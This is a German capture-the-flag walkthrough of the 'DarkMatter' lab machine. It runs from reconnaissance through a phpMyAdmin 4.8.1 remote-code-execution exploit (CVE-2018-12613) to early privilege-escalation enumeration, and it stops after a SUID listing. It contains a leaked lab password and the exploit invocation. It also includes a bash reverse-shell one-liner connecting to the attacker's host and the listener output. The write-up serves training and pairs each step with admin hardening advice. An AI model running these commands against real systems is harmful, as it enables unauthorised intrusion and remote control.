Meine initiale Aufklärung begann mit der Identifizierung der Ziel-IP-Adresse im lokalen Netzwerk. Ich habe einen ARP-Scan verwendet, um aktive Hosts zu finden und nach der spezifischen VirtualBox-Vendor-ID zu filtern, um das Zielsystem einzugrenzen.
192.168.2.54
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk nach aktiven Geräten. Die Ausgabe wird an `grep "PCS"` weitergeleitet, um Zeilen zu finden, die "PCS" enthalten (was auf die PCS Systemtechnik Vendor ID von VirtualBox hindeutet). Der gefilterte Output wird dann an `awk '{print $1}'` übergeben, um nur das erste Feld, die IP-Adresse, auszugeben. Das Ergebnis ist die IP-Adresse `192.168.2.54`, die sehr wahrscheinlich die des Zielsystems ist.
Bewertung: Ein effizienter und gezielter Weg, die IP-Adresse des Zielsystems in einem bekannten Netzwerksegment zu identifizieren, insbesondere wenn man weiß, dass es sich um eine virtuelle Maschine (hier VirtualBox) handelt. Dieser Schritt liefert die notwendige IP für weitere Scans.
Empfehlung (Pentester): Notiere die gefundene IP-Adresse als Ziel für alle weiteren Aktionen.
Empfehlung (Admin): Sei dir bewusst, dass MAC-Adressen und Vendor-Informationen Hinweise auf die zugrundeliegende Infrastruktur geben können.
Ich habe die gefundene IP-Adresse zu meiner lokalen Hosts-Datei hinzugefügt, um das Ziel über seinen Hostnamen ansprechen zu können.
192.168.2.54 darkmatter.hmv
Analyse: Der Befehl `vi /etc/hosts` öffnet die Hosts-Datei, um eine manuelle Zuordnung der IP-Adresse 192.168.2.54 zum Hostnamen darkmatter.hmv vorzunehmen. Diese lokale Konfiguration vereinfacht die Referenzierung des Ziels in nachfolgenden Befehlen.
Bewertung: Dies ist ein reiner Komfort-Schritt für den Pentester. Es hat keine Auswirkungen auf die Sicherheit des Zielsystems, verbessert aber die Lesbarkeit der Befehle im Bericht.
Empfehlung (Pentester): Die Verwendung des Hostnamens ist nun möglich.
Empfehlung (Admin): Keine direkte sicherheitsrelevante Empfehlung aus diesem Schritt.
Der nächste entscheidende Schritt war ein umfassender Port-Scan mit Nmap, um alle offenen Ports zu identifizieren, die potenziellen Angriffsvektoren darstellen. Ich habe einen aggressiven Scan mit Service- und Versionserkennung sowie OS-Fingerprinting durchgeführt.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-19 22:37 CEST Nmap scan report for darkmatter.hmv (192.168.2.54) Host is up (0.00020s latency). Not shown: 65533 closed tcp PORTs (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 54:42:86:67:e3:5b:74:e1:87:9c:4d:80:0a:59:f3:4d (RSA) | 256 b8:ae:fd:d6:01:e8:e4:0f:63:74:7c:ea:20:ac:fe:80 (ECDSA) |_ 256 f6:40:de:a2:c3:ec:2f:e0:f0:b9:76:21:3e:ee:a7:5d (ED25519) 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.51 (Debian) MAC Address: 08:00:27:B5:9E:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms darkmatter.hmv (192.168.2.54) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 10.00 seconds
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.51 ((Debian))
Analyse: Der Nmap-Scan identifizierte zwei offene TCP-Ports: 22 (SSH) und 80 (HTTP). Port 22 läuft OpenSSH 8.4p1 auf Debian. Port 80 wird von Apache httpd 2.4.51 auf Debian gehostet, und die Standardseite ("Apache2 Debian Default Page: It works") wird angezeigt. Die OS-Erkennung tippt auf Linux.
Bewertung: Die offene Ports 22 und 80 sind die primäre Angriffsfläche. SSH (Port 22) könnte anfällig sein, wenn veraltete Versionen oder schwache Anmeldedaten verwendet werden. Der HTTP-Dienst (Port 80) ist der wahrscheinlichste Vektor für Initial Access. Die identifizierten Softwareversionen (OpenSSH 8.4p1, Apache 2.4.51) sollten auf bekannte Schwachstellen geprüft werden. Die Standard-Apache-Seite deutet darauf hin, dass die eigentliche Webanwendung möglicherweise in einem Unterverzeichnis liegt oder auf einem anderen virtuellen Host.
Empfehlung (Pentester): Konzentriere die Enumeration auf den HTTP-Dienst (Port 80). Untersuche die Webanwendung detailliert nach versteckten Verzeichnissen, Dateien oder spezifischen Frameworks/Technologien, die nicht auf der Standardseite sichtbar sind. Prüfe die Versionen von OpenSSH und Apache auf bekannte CVEs.
Empfehlung (Admin): Stelle sicher, dass alle öffentlich zugänglichen Dienste auf dem neuesten Stand sind. Härde die SSH-Konfiguration.
Nach der Identifizierung des HTTP-Dienstes auf Port 80 habe ich Gobuster verwendet, um eine umfassende Verzeichnis- und Datei-Enumeration auf dem Webserver durchzuführen. Dies hilft, versteckte Pfade zu entdecken.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://darkmatter.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403,503 [+] User Agent: gobuster/3.6 [+] Extensions: rar,icon,conf,mod,jpeg,dll,rpm,docx,xlsx,pem,csh,deb,asp,ps1,crt,mdb,pdf,raw,rtf,eps,ln,old,pHtml,doc,gz,jpg,png,ELF,yaml,pub,bat,png,tar,sh,bak,c,desc,zip,html,csv,js.map,exe,pl,kdbx,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml,yaml,bak [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://darkmatter.hmv/index.html (Status: 200) [Size: 10701] http://darkmatter.hmv/robots.txt (Status: 200) [Size: 14] http://darkmatter.hmv/phpmyadmin (Status: 301) [Size: 321] [--> http://darkmatter.hmv/phpmyadmin/]
Analyse: Gobuster, konfiguriert mit einer umfangreichen Wortliste und verschiedenen Dateierweiterungen, fand mehrere interessante Pfade auf dem Webserver: `index.html` (die Hauptseite), `robots.txt` und `phpmyadmin` (mit einem 301 Redirect auf `/phpmyadmin/`). Das Finden von `/phpmyadmin` ist besonders wichtig, da dies eine Datenbankverwaltungsoberfläche ist, die oft Schwachstellen aufweist, wenn sie nicht richtig konfiguriert oder gesichert ist.
Bewertung: Das Finden von `phpmyadmin` ist ein kritischer Schritt. Es ist eine bekannte Angriffsfläche, und die Standardinstallation ist oft anfällig. `robots.txt` kann ebenfalls wertvolle Hinweise auf versteckte Bereiche geben.
Empfehlung (Pentester): Untersuche das Verzeichnis `/phpmyadmin/` detailliert. Prüfe auf Standardanmeldedaten, bekannte Schwachstellen der phpMyAdmin-Version und Konfigurationsprobleme. Untersuche auch den Inhalt von `robots.txt`.
Empfehlung (Admin): Schütze `/phpmyadmin/` durch Authentifizierung, IP-Whitelisting oder indem du es nicht öffentlich zugänglich machst. Aktualisiere phpMyAdmin auf die neueste Version. Vermeide das Preisgeben sensibler Pfade in `robots.txt`.
Ich habe auch Nikto auf Port 80 ausgeführt, um eine automatisierte Schwachstellenanalyse des Webservers zu erhalten.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.54 + Target Hostname: 192.168.2.54 + Target PORT: 80 + Start Time: 2025-06-19 22:37:35 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.51 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5d0a5dad1c95b, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.51 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1. + /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. + /phpmyadmin/: phpMyAdmin directory found. + /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: [Link: https://typo3.org/ | Ziel: https://typo3.org/] + 8254 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2025-06-19 22:37:55 (GMT2) (20 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto bestätigte den Apache 2.4.51 Server. Es identifizierte das Fehlen wichtiger Sicherheits-Header (`X-Frame-Options`, `X-Content-Type-Options`) und eine potenzielle ETag-basierte Informationsleckage. Es wies darauf hin, dass der Apache veraltet ist. Wie Gobuster fand Nikto das `phpmyadmin`-Verzeichnis und spezifische Dateien darin wie `changelog.php`, `ChangeLog` und `README`. Die Nikto-Ausgabe betont, dass phpMyAdmin geschützt sein sollte.
Bewertung: Nikto verstärkt die Erkenntnisse von Gobuster bezüglich der Existenz von phpMyAdmin und liefert zusätzliche Details über den veralteten Apache und fehlende Sicherheits-Header. Der Fund von phpMyAdmin bleibt der vielversprechendste Web-Vektor.
Empfehlung (Pentester): Konzentriere dich weiterhin auf das `phpmyadmin`-Verzeichnis. Prüfe die README-Datei von phpMyAdmin auf die genaue Version, um nach spezifischen Exploits zu suchen.
Empfehlung (Admin): Aktualisiere Apache. Implementiere fehlende Sicherheits-Header. Schütze phpMyAdmin, wie bereits empfohlen.
Um die genaue Version von phpMyAdmin zu bestimmen, was entscheidend für die Suche nach spezifischen Exploits ist, habe ich versucht, die `README`-Datei im `phpmyadmin`-Verzeichnis aufzurufen.
------------------------------------------------------------------------------------------------------------------- [Link: http://192.168.2.54/phpmyadmin/README | Ziel: http://192.168.2.54/phpmyadmin/README] phpMyAdmin - Readme =================== Version 4.8.1 A web interface for MySQL and MariaDB.
Analyse: Ich habe die Datei `/phpmyadmin/README` direkt über den Webbrowser aufgerufen. Der Inhalt bestätigt, dass es sich um die README-Datei von phpMyAdmin handelt und gibt die genaue Version an: `Version 4.8.1`. Es wird auch bestätigt, dass es sich um eine Web-Oberfläche für MySQL und MariaDB handelt.
Bewertung: Das Bestimmen der genauen phpMyAdmin-Version (4.8.1) ist ein kritischer Schritt. Ich kann nun gezielt nach bekannten Schwachstellen (CVEs) oder öffentlichen Exploits für diese spezifische Version suchen. phpMyAdmin 4.8.1 ist dafür bekannt, mehrere Schwachstellen zu haben, einschließlich unauthentifizierter RCE-Schwachstellen.
Empfehlung (Pentester): Suche sofort auf Exploit-Datenbanken (Exploit-DB, NVD) nach Schwachstellen und Exploits für phpMyAdmin Version 4.8.1. Priorisiere unauthentifizierte RCE-Schwachstellen, da diese direkt zum Initial Access führen können.
Empfehlung (Admin): Aktualisiere phpMyAdmin umgehend auf die neueste stabile Version, um alle bekannten Schwachstellen zu beheben. Entferne die öffentlich zugängliche README-Datei oder beschränke den Zugriff darauf.
Ich habe die von Gobuster gefundene `robots.txt` Datei aufgerufen, um zu sehen, ob sie Hinweise auf versteckte Verzeichnisse oder Dateien enthielt.
___________________________________________________________________________________________________________________ [Link: http://darkmatter.hmv/robots.txt | Ziel: http://darkmatter.hmv/robots.txt] /p4ssw0rd.txt
Analyse: Ich habe die Datei `robots.txt` aufgerufen. Sie enthielt nur einen einzigen Eintrag: `/p4ssw0rd.txt`. Dies ist eine Anweisung an Crawler, diese Datei nicht zu indexieren, aber für einen Pentester ist es ein klarer und sehr vielversprechender Hinweis auf die Existenz einer Datei mit diesem Namen, die Anmeldedaten enthalten könnte.
Bewertung: Fantastisch! Das Finden von `/p4ssw0rd.txt` in der `robots.txt` ist ein extrem wichtiger Fund für den Initial Access. Es ist sehr wahrscheinlich, dass diese Datei ein Passwort im Klartext enthält. Dies ist eine hohe Schwachstelle, da die Datei öffentlich zugänglich ist.
Empfehlung (Pentester): Rufe die Datei `/p4ssw0rd.txt` sofort über den Webbrowser oder `curl` auf und lies ihren Inhalt aus. Erwarte, dort ein Passwort zu finden.
Empfehlung (Admin): Entferne die Datei `/p4ssw0rd.txt` vom Webserver. Speichere niemals Passwörter im Klartext in öffentlich zugänglichen Dateien. Entferne den Hinweis auf sensible Dateien aus der `robots.txt`.
Dem Hinweis aus der `robots.txt` folgend, habe ich die Datei `/p4ssw0rd.txt` direkt über den Webserver abgerufen.
------------------------------------------------------------------------------------------------------------------- [Link: http://192.168.2.54/p4ssw0rd.txt | Ziel: http://192.168.2.54/p4ssw0rd.txt] Here is the Password = th3-!llum!n@t0r Don't forget to add "darkmatter.hmv" in your local Machine
Analyse: Ich habe die Datei `/p4ssw0rd.txt` direkt über die IP-Adresse aufgerufen. Die Seite lieferte eine einfache Textausgabe: "Here is the Password = `th3-!llum!n@t0r`" gefolgt von einem Hinweis, den Hostnamen zur Hosts-Datei hinzuzufügen (was ich bereits getan hatte). Der entscheidende Teil ist das Klartextpasswort `th3-!llum!n@t0r`.
Bewertung: Voller Erfolg! Ich habe ein Klartextpasswort (`th3-!llum!n@t0r`) über eine öffentlich zugängliche Datei erhalten. Dies ist eine hochkritische Schwachstelle. Dieses Passwort ist sehr wahrscheinlich für einen oder mehrere Benutzer auf dem System gültig, möglicherweise für die phpMyAdmin-Anmeldung oder sogar für SSH.
Empfehlung (Pentester): Nutze das gefundene Passwort (`th3-!llum!n@t0r`), um dich bei phpMyAdmin anzumelden (Standardbenutzernamen wie `root`, `admin`, `pma` testen) und versuche es auch für SSH-Anmeldeversuche mit identifizierten Benutzernamen oder gängigen Standardbenutzern.
Empfehlung (Admin): **Absolut kritisch:** Entferne die Datei `/p4ssw0rd.txt` sofort. Speichere niemals Passwörter im Klartext in öffentlich zugänglichen Dateien. Implementiere Richtlinien, die dies verhindern.
Nachdem ich das Passwort `th3-!llum!n@t0r` gefunden hatte, habe ich versucht, mich damit bei phpMyAdmin anzumelden (erreichbar über `darkmatter.hmv/phpmyadmin`), beginnend mit dem Standardbenutzernamen `root`.
------------------------------------------------------------------------------------------------------------------- [Link: http://192.168.2.54/phpmyadmin/index.php | Ziel: http://192.168.2.54/phpmyadmin/index.php] phpMyAdmin Welcome to phpMyAdmin Cannot log in to the MySQL server Log inDocumentation Username: root Password: th3-!llum!n@t0r mysqli_real_connect(): (HY000/1045): Access denied for user 'root'@'localhost' (using password: YES)
Analyse: Ich habe versucht, mich bei phpMyAdmin als Benutzer `root` mit dem gefundenen Passwort `th3-!llum!n@t0r` anzumelden. Die Fehlermeldung "`Access denied for user 'root'@'localhost' (using password: YES)`" zeigt, dass die Anmeldung für den Benutzer `root` mit diesem Passwort fehlgeschlagen ist. Das Passwort war für den Root-MySQL-Benutzer nicht korrekt, oder der Benutzer `root` darf sich nicht von `localhost` aus anmelden (was hier unwahrscheinlich ist, da es sich um phpMyAdmin auf demselben Server handelt).
Bewertung: Das gefundene Passwort ist nicht das Passwort für den MySQL-Root-Benutzer. Dies bedeutet, dass ich keinen direkten Datenbankzugriff als Root über phpMyAdmin habe. Das gefundene Passwort könnte aber immer noch für einen anderen Benutzer auf phpMyAdmin oder für SSH gültig sein.
Empfehlung (Pentester): Versuche das Passwort `th3-!llum!n@t0r` mit anderen Standard-phpMyAdmin-Benutzernamen (`pma`, `admin`) zu verwenden. Versuche es auch für SSH mit Standard-Systembenutzernamen oder Benutzernamen, die du später noch enumerierst. Da phpMyAdmin 4.8.1 anfällig für unauthentifizierte RCE ist, ist dies der primäre Fokus für Initial Access.
Empfehlung (Admin): Ändere das Root-Passwort für die MySQL-Datenbank. Stelle sicher, dass niemals MySQL-Anmeldedaten im Klartext gespeichert werden.
Da die direkte Anmeldung als `root` bei phpMyAdmin mit dem gefundenen Passwort fehlschlug, habe ich meinen Fokus auf die identifizierte phpMyAdmin Version 4.8.1 und die Suche nach unauthentifizierten Exploits verlagert. Ich habe die Exploit-Datenbank `searchsploit` verwendet, um nach passenden Exploits zu suchen.
------------------------------------------------------------ --------------------------------- Exploit Title | PATH ------------------------------------------------------------ --------------------------------- phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt phpMyAdmin 4.8.1 - Remote Code Execution (RCE) | php/webapps/50457.py ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Exploit: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
URL: [Link: https://www.exploit-db.com/exploits/50457 | Ziel: https://www.exploit-db.com/exploits/50457]
PATH: /usr/share/exploitdb/exploits/php/webapps/50457.py
Codes: CVE-2018-12613
Verified: True
File TYPE: Python scrpt, ASCII text executable
Copied to: /root/50457.py
Analyse: Ich habe `searchsploit phpmyadmin 4.8.1` ausgeführt, um die Exploit-Datenbank nach Schwachstellen für diese Version zu durchsuchen. Die Ausgabe listete mehrere Exploits, darunter zwei Authenticated LFI-Exploits und einen **Remote Code Execution (RCE)** Exploit (`php/webapps/50457.py`). Der RCE-Exploit ist mit CVE-2018-12613 verknüpft und als unauthentifiziert bekannt. Mit `searchsploit -m 50457.py` habe ich das Python-Skript auf mein System kopiert (`/root/50457.py`).
Bewertung: Fantastisch! Das Finden eines öffentlichen, unauthentifizierten RCE-Exploits für die installierte phpMyAdmin-Version ist der Schlüssel zum Initial Access. CVE-2018-12613 ermöglicht die Ausführung beliebigen PHP-Codes auf dem Server ohne Authentifizierung, wenn eine bestimmte Dateistruktur existiert. Dies ist ein hochkritischer Vektor.
Empfehlung (Pentester): Untersuche das heruntergeladene Python-Skript `50457.py`. Passe es gegebenenfalls an (z.B. Ziel-URL, Pfad zu phpMyAdmin) und nutze es, um Befehle auf dem Zielsystem auszuführen und eine Reverse Shell zu erhalten.
Empfehlung (Admin): **Absolut kritisch:** Aktualisiere phpMyAdmin umgehend auf eine nicht anfällige Version. Deaktiviere den Zugriff auf anfällige Dateien oder Pfade, auch wenn phpMyAdmin aktualisiert wird.
Ich habe das heruntergeladene Exploit-Skript in einen besser lesbaren Namen umbenannt.
Analyse: Der Befehl `mv 50457.py phpMyAdmin.py` benennt das heruntergeladene Exploit-Skript um. Dies ist ein einfacher organisatorischer Schritt.
Bewertung: Funktionell ein trivialer Schritt. Der Name des Skripts hat keinen Einfluss auf seine Funktionalität.
Empfehlung (Pentester): Stelle sicher, dass du den korrekten Dateinamen des Skripts für die Ausführung verwendest.
Empfehlung (Admin): Keine direkte Empfehlung.
Ich habe das Python-Exploit-Skript (`phpMyAdmin.py`) verwendet, um Remote Code Execution auf dem Zielsystem zu erreichen. Zuerst habe ich einen einfachen Befehl (`whoami`) ausgeführt, um den Erfolg zu verifizieren und die Berechtigungen des Webserver-Benutzers zu bestimmen.
/root/phpMyAdmin.py:29: SyntaxWarning: invalid escape sequence '\s'
s = re.search('token"\s*value="(.*?)"', content)
/root/phpMyAdmin.py:50: SyntaxWarning: invalid escape sequence '\d'
s = re.search('PMA_VERSION:"(\d+\.\d+\.\d+)"', content)
/root/phpMyAdmin.py:64: SyntaxWarning: invalid escape sequence '\w'
s = re.search('logged_in:(\w+),', content)
www-data
Analyse: Ich habe Umgebungsvariablen (`IP`, `PORT`, `PATH`, `USER`, `PASS`, `CMD`) gesetzt, um die Parameter für das Python-Exploit-Skript festzulegen. Der `USER` und `PASS` sind hier irrelevant, da der Exploit unauthentifiziert ist, aber das Skript benötigt diese Eingaben. Ich habe das Skript mit Python3 ausgeführt und den Befehl `whoami` übergeben. Die Ausgabe `www-data` zeigt, dass der Befehl erfolgreich ausgeführt wurde und der Webserver-Benutzer `www-data` ist. Die `SyntaxWarning`s sind Hinweise des Python-Interpreters im Skript-Code und können ignoriert werden.
Bewertung: Fantastisch! Die unauthentifizierte RCE in phpMyAdmin Version 4.8.1 ist nutzbar, und ich kann beliebige Befehle auf dem Zielsystem mit den Berechtigungen des `www-data` Benutzers ausführen. Dies ist der erfolgreiche Initial Access Vektor.
Empfehlung (Pentester): Da RCE als `www-data` möglich ist, besteht der nächste Schritt darin, eine persistente Shell auf das Zielsystem zu erhalten. Generiere eine Reverse Shell Payload und nutze das Exploit-Skript, um sie auf dem Zielsystem auszuführen.
Empfehlung (Admin): Diese Demonstration zeigt die schwerwiegenden Auswirkungen der Schwachstelle. Stelle sicher, dass phpMyAdmin umgehend auf eine nicht anfällige Version aktualisiert wird. Überprüfe die Berechtigungen des Benutzers `www-data`.
Ich habe einen weiteren Befehl (`pwd`) über das Exploit-Skript ausgeführt, um das aktuelle Arbeitsverzeichnis des Webserver-Benutzers zu sehen, was bei der Navigation im Dateisystem helfen kann.
/root/phpMyAdmin.py:29: SyntaxWarning: invalid escape sequence '\s'
s = re.search('token"\s*value="(.*?)"', content)
/root/phpMyAdmin.py:50: SyntaxWarning: invalid escape sequence '\d'
s = re.search('PMA_VERSION:"(\d+\.\d+\.\d+)"', content)
/root/phpMyAdmin.py:64: SyntaxWarning: invalid escape sequence '\w'
s = re.search('logged_in:(\w+),', content)
/usr/share/phpmyadmin
Analyse: Ich habe die `CMD` Variable auf `pwd` gesetzt und das Exploit-Skript erneut ausgeführt. Die Ausgabe `/usr/share/phpmyadmin` zeigt, dass das aktuelle Arbeitsverzeichnis des `www-data` Benutzers, wenn der Exploit ausgeführt wird, `/usr/share/phpmyadmin` ist.
Bewertung: Die Kenntnis des aktuellen Arbeitsverzeichnisses ist hilfreich für die Navigation im Dateisystem, wenn ich später eine Shell erhalte. Es ist das Standardinstallationsverzeichnis von phpMyAdmin.
Empfehlung (Pentester): Behalte dieses Verzeichnis im Hinterkopf. Beginne die Dateisystem-Enumeration von hier aus oder vom Root (`/`), wenn du eine Shell hast.
Empfehlung (Admin): Stelle sicher, dass das phpMyAdmin-Verzeichnis und seine Inhalte nur die notwendigen Berechtigungen haben.
Um interaktiven Zugriff zu erhalten, habe ich eine Reverse Shell Payload vorbereitet und das Exploit-Skript verwendet, um sie auf dem Zielsystem auszuführen und eine Verbindung zu einem Netcat-Listener auf meinem Angreifersystem aufzubauen.
IP="192.168.2.54" PORT="80" PATH="/phpmyadmin" USER="pma" PASS='th3-!llum!n@t0r' CMD="bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1'" /usr/bin/python3 phpMyAdmin.py $IP $PORT $PATH "$USER" "$PASS" "$CMD"
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.54] 36746 bash: cannot set terminal process group (535): Inappropriate ioctl for device bash: no job control in this shell www-data@DarkMatter:/usr/share/phpmyadmin$
Analyse: Ich habe die `CMD` Variable auf eine standardmäßige Bash Reverse Shell Payload gesetzt: `"bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1'"`. Diese Payload weist das System an, eine interaktive Bash-Shell zu starten und deren Input, Output und Error-Streams über eine TCP-Verbindung zurück an meine IP-Adresse (192.168.2.199) auf Port 9001 umzuleiten. Bevor ich das Exploit-Skript ausgeführt habe, habe ich einen Netcat-Listener (`nc -lvnp 9001`) auf meinem Angreifersystem gestartet, um die eingehende Verbindung zu empfangen. Nach dem Ausführen des Exploit-Skripts meldete der Netcat-Listener eine eingehende Verbindung vom Zielsystem, und ich erhielt eine Shell. Der Prompt `www-data@DarkMatter:/usr/share/phpmyadmin$` bestätigt, dass ich eine interaktive Shell als Benutzer `www-data` mit dem aktuellen Arbeitsverzeichnis `/usr/share/phpmyadmin` erhalten habe.
Bewertung: Fantastisch! Der Initial Access war erfolgreich. Ich habe nun vollständigen Kommandozeilenzugriff auf das Zielsystem mit den Rechten des Webserver-Benutzers `www-data`. Dies markiert den Abschluss der Initial Access Phase und den Beginn der Privilege Escalation.
Empfehlung (Pentester): Stabilisiere die Shell umgehend. Beginne mit der systeminternen Aufklärung (Enumeration) als Benutzer `www-data`, um Informationen für eine mögliche Privilege Escalation zu sammeln. Prüfe SUID/SGID-Binaries, Sudo-Berechtigungen, Cronjobs, Dateisystemberechtigungen, installierte Pakete und Konfigurationsdateien.
Empfehlung (Admin): Untersuche die Ursache der RCE-Schwachstelle (veraltetes phpMyAdmin) und führe eine gründliche Forensik durch. Ändere alle auf dem System gespeicherten Anmeldedaten. Implementiere eine umfassende Sicherheitsüberwachung und beschränke ausgehenden Netzwerkverkehr.
Nachdem ich eine Shell als Benutzer `www-data` erhalten hatte, bestand der nächste Schritt darin, Informationen über das System zu sammeln, die mir helfen könnten, meine Berechtigungen zu erweitern und Root-Zugriff zu erlangen. Ich begann mit der systeminternen Aufklärung. Zuerst habe ich die Shell stabilisiert (dieser Schritt ist oft notwendig, wird hier aber nicht explizit im Text gezeigt, ist aber Standardpraxis) und begann, das Home-Verzeichnis aufzulisten.
www-data@DarkMatter:/usr/share/phpmyadmin$ ls /home/ darkenergy
ls: cannot open directory '/home/darkenergy/': Permission denied
Analyse: Ich habe den Inhalt des `/home`-Verzeichnisses aufgelistet (`ls /home/`) und dabei ein Benutzerverzeichnis namens `darkenergy` gefunden. Dies identifiziert `darkenergy` als einen regulären Benutzer auf dem System. Ein anschließender Versuch, das Home-Verzeichnis von `darkenergy` aufzulisten (`ls -la /home/darkenergy/`), schlug mit der Fehlermeldung "Permission denied" fehl, was darauf hindeutet, dass der Benutzer `www-data` keine ausreichenden Berechtigungen hat, um dieses Verzeichnis einzusehen.
Bewertung: Die Identifizierung des Benutzers `darkenergy` ist wichtig. Regäre Benutzerkonten sind oft Ziele für Privilege Escalation. Die Tatsache, dass das Home-Verzeichnis nicht für `www-data` zugänglich ist, ist eine gute Sicherheitseinstellung. Der Benutzername `darkenergy` könnte ein Ziel für Passwort-Angriffe werden.
Empfehlung (Pentester): Suche weiter nach Informationen über den Benutzer `darkenergy` im Dateisystem. Versuche, Anmeldedaten für diesen Benutzer zu finden oder zu knacken. Die in `/p4ssw0rd.txt` gefundenen Anmeldedaten könnten relevant sein.
Empfehlung (Admin): Stelle sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind, um unbefugten Zugriff durch andere Benutzer zu verhindern.
Ich habe die Sudo-Berechtigungen des aktuellen Benutzers `www-data` geprüft, um festzustellen, ob ein einfacher Weg zur Rechteausweitung über Sudo existiert.
www-data@DarkMatter:/usr/share/phpmyadmin$ sudo -l [sudo] password for www-data: sudo: a password is required
Analyse: Der Befehl `sudo -l` listet die Sudo-Berechtigungen des aktuellen Benutzers auf. Die Ausgabe zeigt, dass für `www-data` ein Passwort für die Ausführung von Sudo-Befehlen erforderlich ist. Da ich das Passwort für `www-data` nicht kenne, ist eine Privilege Escalation direkt über Sudo für diesen Benutzer nicht möglich.
Bewertung: Die Anforderung eines Passworts für Sudo-Befehle für `www-data` ist eine gute Sicherheitseinstellung. Es verhindert eine einfache Privilege Escalation, falls ein Angreifer eine Shell als `www-data` erlangt.
Empfehlung (Pentester): Da Sudo für `www-data` ein Passwort erfordert, konzentriere dich auf andere Privilege Escalation-Vektoren wie SUID-Binaries, Cronjobs, unsichere Konfigurationsdateien oder schwache Passwörter für andere Benutzer.
Empfehlung (Admin): Verifiziere, dass der Benutzer `www-data` keine Sudo-Berechtigungen ohne Passwort hat. Erwäge, Sudo-Berechtigungen für Webserver-Benutzer generell einzuschränken.
Ein gängiger Vektor für Privilege Escalation sind SUID-Binaries. Ich suchte auf dem Dateisystem nach Dateien mit diesem speziellen Berechtigungsbit, das es erlaubt, Programme mit den Rechten des Dateibesitzers (oft Root) auszuführen.
www-data@DarkMatter:/usr/share/phpmyadmin$ find / -type f -perm -4000 -ls 2>/dev/null 134187 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 141514 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign 129887 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 133902 36 -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount 133374 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 129888 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 134084 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 133900 56 -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount 133533 72 -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su 129885 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 129884 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
